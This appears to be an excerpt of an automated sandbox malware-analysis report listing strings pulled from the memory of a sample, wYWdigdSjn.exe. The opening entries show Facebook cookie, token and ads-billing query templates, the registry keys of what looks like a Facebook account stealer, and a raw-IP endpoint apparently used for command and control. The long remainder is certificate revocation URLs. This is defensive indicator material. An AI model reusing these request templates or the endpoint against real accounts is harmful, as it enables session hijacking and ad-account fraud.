Source: wYWdigdSjn.exe, 00000001.00000002.527053749.0000000000CEE000.00000002.00000001.01000000.00000004.sdmp	String found in binary or memory: @,"Os":"","machineId":"http/:/en-US,en;q=0.9https://http://gzip, deflate.,%c[{"Cookie":"/settingscompat_iframe_token":"quickTokensetting %s not found.&ctarget=https%3A%2F%2Fwww.facebook.comcquick=jsc_c_e&cquick_token=/settings?find email</strong><strong>fbSettingsListItemContentEmail not found.0" title="href="https://www.facebook.com/profile_icondata-gt" role="<a aria-label=<a class=/profile.php?sk=friend_gs6">,"Compcode":","Friends":"no</span><span>no/*adtrust_dsl":disable_reason":account_currency_ratio_to_usd":~~--no\,"ed":","bl":","status":"c_user=%3Bc_user%3Dhttps://www.facebook.com/ads/manager/account_settings/account_billing",adAccountID":"DTSGInitialData",[],{"token":"LSD",[],{"token":"av=%s&__user=%s&__a=1&__csr=&__req=3&__beoa=0&__pc=PHASED:ads_campaign_manager_pkg&__hs=18770.PHASED:ads_campaign_manager_pkg.2.0.0.0&__bhv=2&dpr=1&__comet_req=0&fb_dtsg=%s&fb_api_caller_class=RelayModern&fb_api_req_friendly_name=BillingAMNexusRootQuery&variables={"paymentAccountID":"%s"}&server_timestamps=true&doc_id=3972780502837874billing_threshold_currency_amount":{"formatted_amount":","qy":"https://www.facebook.com/bookmarks/pages?ref_type=logout_gearcounttype:https://www.facebook.com/pages/?category=your_pages&ref=bookmarksadmined_pages":{"nodes":[{,"Page":"1<a href="https://business.facebook.com,"bm":"<>class="lastRow right","currency":","a":","b":"CHROMEchrome.exeIEmsedge.exe,"Channel":","Browser":"00,"by1":"}]0102030405060708Failed to initialise Winsock, Error:%u equals www.facebook.com (Facebook)
Source: wYWdigdSjn.exe, 00000001.00000002.528136581.0000000000D60000.00000004.00000001.01000000.00000004.sdmp	String found in binary or memory: @Ohttps://www.facebook.comSoftware\zsmjrry\zsmjrrySoftware\zsmjrry\zsmjrry1Software\zsmjrryhttp://103.136.42.153/seemorebty/z9Yzbx5JbVSUWmTGhttps://www.facebook.comwww.facebook.comtext/html,application/xhtml+xml,application/xml;q=0.9,image webp,image apng, q=0.8,application signed-exchange v=b3Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit 537.36 (KHTML, like Gecko) Chrome 70.0.3538.110 Safari 537.36https://graph.facebook.com/&_index=5&_reqName=adaccount&_reqSrc=AdsPaymentMethodsDataLoader&_sessionID=&method=get&pretty=0&suppress_http_code=1/ads/manager/account_settings/account_billing/?act=&pid=p1&page=account_settings&tab=account_billing_settings/profile.php?sk=friends/ads/manager/accounts?_fb_noscript=1all_accounts_table_account_id_cellhref="/pages/?category=your_pages&ref=bookmarks/bookmarks/pages?ref_type=logout_geartab_count:/profile.php?id=adsApiVersion:"locale:"sessionId:"access_token:"?act=FDroid1Software\ffdroider equals www.facebook.com (Facebook)
Source: wYWdigdSjn.exe, 00000001.00000002.527053749.0000000000CEE000.00000002.00000001.01000000.00000004.sdmp	String found in binary or memory: AcceptRefererAccept-Languageen-US,en;q=0.9Content-TypeMozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36User-AgentContent-LengthCookiehttps://www.facebook.com/ads/manager/account_settings/account_billing/?act=&pid=p1&page=account_settings&tab=account_billing_settingswww.facebook.comHostkeep-aliveConnectioncorsSec-Fetch-Modehttps://www.facebook.comOrigin1280Viewport-WidthBillingAMNexusRootQueryX-FB-Friendly-NameX-FB-LSDapplication/x-www-form-urlencodedsame-originSec-Fetch-Sitehttps://www.facebook.com/api/graphql/ equals www.facebook.com (Facebook)
Source: wYWdigdSjn.exe, 00000001.00000003.243224854.00000000029B0000.00000004.00001000.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000002.527053749.0000000000CEE000.00000002.00000001.01000000.00000004.sdmp	String found in binary or memory: WVCKgjmJdmAm^jnakj`aFihc`oNby\|vUikgjmsgk}lwbhehce=RceKhici[>>>usgYKnk{exckzSGx\|w{beYQbjJkhdhR.https://www.facebook.comtestEDGEchrome%xC:\IiflEci~l\|vQRoiago equals www.facebook.com (Facebook)
Source: wYWdigdSjn.exe, wYWdigdSjn.exe, 00000001.00000003.243224854.00000000029B0000.00000004.00001000.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000002.528136581.0000000000D60000.00000004.00000001.01000000.00000004.sdmp, wYWdigdSjn.exe, 00000001.00000002.527053749.0000000000CEE000.00000002.00000001.01000000.00000004.sdmp	String found in binary or memory: https://www.facebook.com equals www.facebook.com (Facebook)
Source: wYWdigdSjn.exe, 00000001.00000003.243224854.00000000029B0000.00000004.00001000.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000002.527053749.0000000000CEE000.00000002.00000001.01000000.00000004.sdmp	String found in binary or memory: https://www.facebook.com/ads/manager/account_settings/account_billing/?act= equals www.facebook.com (Facebook)
Source: wYWdigdSjn.exe, 00000001.00000003.243224854.00000000029B0000.00000004.00001000.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000002.527053749.0000000000CEE000.00000002.00000001.01000000.00000004.sdmp	String found in binary or memory: https://www.facebook.com/bookmarks/pages?ref_type=logout_gear equals www.facebook.com (Facebook)
Source: wYWdigdSjn.exe, 00000001.00000003.243224854.00000000029B0000.00000004.00001000.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000002.527053749.0000000000CEE000.00000002.00000001.01000000.00000004.sdmp	String found in binary or memory: https://www.facebook.com/pages/?category=your_pages&ref=bookmarks equals www.facebook.com (Facebook)
Source: wYWdigdSjn.exe, 00000001.00000003.243224854.00000000029B0000.00000004.00001000.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000002.528136581.0000000000D60000.00000004.00000001.01000000.00000004.sdmp, wYWdigdSjn.exe, 00000001.00000002.527053749.0000000000CEE000.00000002.00000001.01000000.00000004.sdmp, wYWdigdSjn.exe, 00000001.00000002.534706521.0000000005E22000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: www.facebook.com equals www.facebook.com (Facebook)

Source: wYWdigdSjn.exe, 00000001.00000002.528136581.0000000000D60000.00000004.00000001.01000000.00000004.sdmp	String found in binary or memory: http://103.136.42.153/seemorebty/
Source: wYWdigdSjn.exe, 00000001.00000003.347778053.0000000006169000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.347436897.0000000005781000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertECCSecureServerCA.crt0
Source: wYWdigdSjn.exe, 00000001.00000003.359581349.0000000006489000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0B
Source: wYWdigdSjn.exe, 00000001.00000003.363651349.0000000005618000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.426520500.0000000006478000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.347381800.0000000005AE0000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.288477647.0000000004560000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.359926221.0000000006491000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.347318468.0000000005AC1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootG2.crt0
Source: wYWdigdSjn.exe, 00000001.00000003.360295990.00000000064A9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertSHA2HighAssuranceServerCA.crt0
Source: wYWdigdSjn.exe, 00000001.00000003.347318468.0000000005AC1000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.351876642.00000000063E1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertSHA2SecureServerCA.crt0
Source: wYWdigdSjn.exe, 00000001.00000003.351828473.0000000006401000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.360295990.00000000064A9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertSecureSiteECCCA-1.crt0
Source: wYWdigdSjn.exe, 00000001.00000003.359581349.0000000006489000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertTLSRSASHA2562020CA1-1.crt0
Source: wYWdigdSjn.exe, 00000001.00000003.378701097.00000000046E8000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.338590249.0000000004781000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.361923862.0000000006580000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.285265550.0000000004651000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.426168776.00000000063C0000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.361701632.00000000065C0000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.386505819.00000000057A0000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.360356031.00000000064B1000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.333327828.0000000004740000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.361847934.0000000006561000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.361819935.00000000065A0000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.349615261.00000000061D1000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.361718418.0000000006581000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.361245745.00000000046E9000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.333168870.0000000004780000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.420731155.0000000005438000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.420970982.0000000005718000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.347624685.00000000057A1000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.359978543.0000000006471000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.361476520.00000000065C1000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.352229984.00000000063C1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl.globalsign.net/root-r2.crl0
Source: wYWdigdSjn.exe, 00000001.00000003.360356031.00000000064B1000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.361847934.0000000006561000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.361718418.0000000006581000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.361245745.00000000046E9000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.359978543.0000000006471000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.361476520.00000000065C1000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.352229984.00000000063C1000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.360533347.0000000005459000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.360605685.0000000005439000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.361560311.00000000065A1000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.350703334.0000000005719000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl.pki.goog/GTS1O1core.crl0
Source: wYWdigdSjn.exe, 00000001.00000003.338590249.0000000004781000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.285265550.0000000004651000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.333327828.0000000004740000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.349615261.00000000061D1000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.333168870.0000000004780000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.347624685.00000000057A1000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.347679687.0000000006189000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.288753222.0000000004658000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.338899784.0000000004741000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl.pki.goog/GTSGIAG3.crl0
Source: wYWdigdSjn.exe, 00000001.00000003.378701097.00000000046E8000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.338590249.0000000004781000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.361923862.0000000006580000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.285265550.0000000004651000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.426168776.00000000063C0000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.361701632.00000000065C0000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.386505819.00000000057A0000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.360356031.00000000064B1000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.333327828.0000000004740000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.361847934.0000000006561000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.361819935.00000000065A0000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.349615261.00000000061D1000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.361718418.0000000006581000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.361245745.00000000046E9000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.333168870.0000000004780000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.420731155.0000000005438000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.420970982.0000000005718000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.347624685.00000000057A1000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.359978543.0000000006471000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.361476520.00000000065C1000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.352229984.00000000063C1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl.pki.goog/gsr2/gsr2.crl0?
Source: wYWdigdSjn.exe, 00000001.00000003.386772385.0000000005AC0000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.339211469.0000000004721000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.266211329.00000000044F1000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.295485681.00000000046E8000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.354398034.00000000063A0000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.359400051.0000000006481000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.332496945.0000000004720000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.360466207.00000000064A0000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.426520500.0000000006478000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.283530197.00000000046E8000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.288477647.0000000004560000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.361847934.0000000006561000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.352277117.00000000063A1000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.333427758.0000000004760000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.360212914.00000000064A1000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.338647634.0000000004761000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.360416462.0000000006499000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.353973189.0000000006381000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.346355513.0000000005AE1000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.347318468.0000000005AC1000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.351876642.00000000063E1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl07
Source: wYWdigdSjn.exe, 00000001.00000003.351828473.0000000006401000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.359581349.0000000006489000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.347778053.0000000006169000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.347436897.0000000005781000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.360295990.00000000064A9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl0=
Source: wYWdigdSjn.exe, 00000001.00000003.363651349.0000000005618000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.426520500.0000000006478000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.347381800.0000000005AE0000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.288477647.0000000004560000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.359926221.0000000006491000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.347318468.0000000005AC1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootG2.crl07
Source: wYWdigdSjn.exe, 00000001.00000003.351828473.0000000006401000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.360295990.00000000064A9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertSecureSiteECCCA-1.crl0
Source: wYWdigdSjn.exe, 00000001.00000003.359581349.0000000006489000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertTLSRSASHA2562020CA1-1.crl0
Source: wYWdigdSjn.exe, 00000001.00000003.426231795.00000000063E0000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.426520500.0000000006478000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.359581349.0000000006489000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.426667207.0000000006488000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.360416462.0000000006499000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.359978543.0000000006471000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.426698997.0000000006490000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.360295990.00000000064A9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/Omniroot2025.crl0
Source: wYWdigdSjn.exe, 00000001.00000003.293920141.0000000004800000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.269000703.00000000046F0000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.339211469.0000000004721000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.338590249.0000000004781000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.266211329.00000000044F1000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.352033920.0000000006400000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.354482603.0000000006380000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.285265550.0000000004651000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.295485681.00000000046E8000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.359400051.0000000006481000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.426853167.00000000064B0000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.332496945.0000000004720000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.426520500.0000000006478000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.360182966.0000000006480000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.283530197.00000000046E8000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.288477647.0000000004560000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.420859834.0000000005658000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.333327828.0000000004740000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.351828473.0000000006401000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.339050863.0000000004760000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.338252615.00000000053F1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/Omniroot2025.crl0=
Source: wYWdigdSjn.exe, 00000001.00000003.360295990.00000000064A9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/sha2-ha-server-g6.crl04
Source: wYWdigdSjn.exe, 00000001.00000003.347778053.0000000006169000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.347436897.0000000005781000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/ssca-ecc-g1.crl0.
Source: wYWdigdSjn.exe, 00000001.00000003.386772385.0000000005AC0000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.339211469.0000000004721000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.266211329.00000000044F1000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.295485681.00000000046E8000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.359400051.0000000006481000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.332496945.0000000004720000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.283530197.00000000046E8000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.288477647.0000000004560000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.361847934.0000000006561000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.352277117.00000000063A1000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.333427758.0000000004760000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.360212914.00000000064A1000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.338647634.0000000004761000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.360416462.0000000006499000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.353973189.0000000006381000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.346355513.0000000005AE1000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.347318468.0000000005AC1000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.351876642.00000000063E1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/ssca-sha2-g6.crl0/
Source: wYWdigdSjn.exe, 00000001.00000003.426520500.0000000006478000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/ssca-sha2-g7.crl0/
Source: wYWdigdSjn.exe, 00000001.00000003.386772385.0000000005AC0000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.339211469.0000000004721000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.266211329.00000000044F1000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.295485681.00000000046E8000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.354398034.00000000063A0000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.359400051.0000000006481000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.332496945.0000000004720000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.360466207.00000000064A0000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.426520500.0000000006478000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.283530197.00000000046E8000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.288477647.0000000004560000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.361847934.0000000006561000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.352277117.00000000063A1000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.333427758.0000000004760000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.360212914.00000000064A1000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.338647634.0000000004761000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.360416462.0000000006499000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.353973189.0000000006381000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.346355513.0000000005AE1000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.347318468.0000000005AC1000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.351876642.00000000063E1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootCA.crl0=
Source: wYWdigdSjn.exe, 00000001.00000003.363651349.0000000005618000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.426520500.0000000006478000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.347381800.0000000005AE0000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.288477647.0000000004560000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.359926221.0000000006491000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.347318468.0000000005AC1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootG2.crl0
Source: wYWdigdSjn.exe, 00000001.00000003.426802245.00000000064A8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/DigiCertHighAssuranceEVRootCA.crl0=
Source: wYWdigdSjn.exe, 00000001.00000003.351828473.0000000006401000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.360295990.00000000064A9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/DigiCertSecureSiteECCCA-1.crl0L
Source: wYWdigdSjn.exe, 00000001.00000003.359581349.0000000006489000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/DigiCertTLSRSASHA2562020CA1-1.crl0
Source: wYWdigdSjn.exe, 00000001.00000003.360295990.00000000064A9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/sha2-ha-server-g6.crl0L
